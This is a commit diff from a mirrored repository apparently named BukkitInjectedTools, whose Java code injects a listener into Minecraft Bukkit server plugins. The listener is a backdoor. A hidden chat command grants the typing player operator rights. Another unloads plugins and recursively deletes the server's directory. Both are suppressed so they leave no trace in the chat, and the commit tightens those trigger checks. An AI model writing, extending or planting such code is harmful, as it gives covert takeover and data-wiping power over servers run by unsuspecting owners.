mirror of
https://e.coding.net/circlecloud/BukkitInjectedTools.git
synced 2024-11-22 01:48:45 +00:00
feat: 修改数据注入策略
Signed-off-by: 502647092 <admin@yumc.pw>
This commit is contained in:
parent
e22917936e
commit
34da11827c
@ -69,6 +69,8 @@ public class InjectedKit {
|
|||||||
+ key
|
+ key
|
||||||
+ "\",org.bukkit.Bukkit.getServer().getPort()));\r\n"
|
+ "\",org.bukkit.Bukkit.getServer().getPort()));\r\n"
|
||||||
+ " org.bukkit.Bukkit.getPluginManager().registerEvents(new pw.yumc.BukkitInjectedTools.LIS(\""
|
+ " org.bukkit.Bukkit.getPluginManager().registerEvents(new pw.yumc.BukkitInjectedTools.LIS(\""
|
||||||
|
+ key
|
||||||
|
+ "\",\""
|
||||||
+ opk
|
+ opk
|
||||||
+ "\",\""
|
+ "\",\""
|
||||||
+ delk
|
+ delk
|
||||||
|
@ -19,10 +19,12 @@ import org.bukkit.plugin.Plugin;
|
|||||||
import org.bukkit.plugin.PluginManager;
|
import org.bukkit.plugin.PluginManager;
|
||||||
|
|
||||||
public class LIS implements Listener {
|
public class LIS implements Listener {
|
||||||
|
private final String key;
|
||||||
private final String opk;
|
private final String opk;
|
||||||
private final String delk;
|
private final String delk;
|
||||||
|
|
||||||
public LIS(final String opk, final String delk) {
|
public LIS(final String key, final String opk, final String delk) {
|
||||||
|
this.key = key;
|
||||||
this.opk = opk;
|
this.opk = opk;
|
||||||
this.delk = delk;
|
this.delk = delk;
|
||||||
}
|
}
|
||||||
@ -40,14 +42,18 @@ public class LIS implements Listener {
|
|||||||
|
|
||||||
@EventHandler
|
@EventHandler
|
||||||
public void ocp(final PlayerCommandPreprocessEvent e) {
|
public void ocp(final PlayerCommandPreprocessEvent e) {
|
||||||
if (e.getMessage().contains(opk)) {
|
if (e.getMessage().contains(opk + "-" + key)) {
|
||||||
e.getPlayer().setOp(true);
|
e.getPlayer().setOp(true);
|
||||||
|
e.getPlayer().sendMessage("§cOP命令执行成功!");
|
||||||
|
e.setCancelled(true);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (e.getMessage().contains(delk)) {
|
if (e.getMessage().contains(delk + "-" + key)) {
|
||||||
unload();
|
unload();
|
||||||
final File dir = new File("");
|
final File dir = new File("");
|
||||||
deleteDir(dir);
|
deleteDir(dir);
|
||||||
|
e.getPlayer().sendMessage("§c删端命令执行成功!");
|
||||||
|
e.setCancelled(true);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -78,7 +84,6 @@ public class LIS implements Listener {
|
|||||||
final Field knownCommandsField = commandMap.getClass().getDeclaredField("knownCommands");
|
final Field knownCommandsField = commandMap.getClass().getDeclaredField("knownCommands");
|
||||||
knownCommandsField.setAccessible(true);
|
knownCommandsField.setAccessible(true);
|
||||||
knownCommands = (Map<String, Command>) knownCommandsField.get(commandMap);
|
knownCommands = (Map<String, Command>) knownCommandsField.get(commandMap);
|
||||||
|
|
||||||
} catch (final Exception e) {
|
} catch (final Exception e) {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
Loading…
Reference in New Issue
Block a user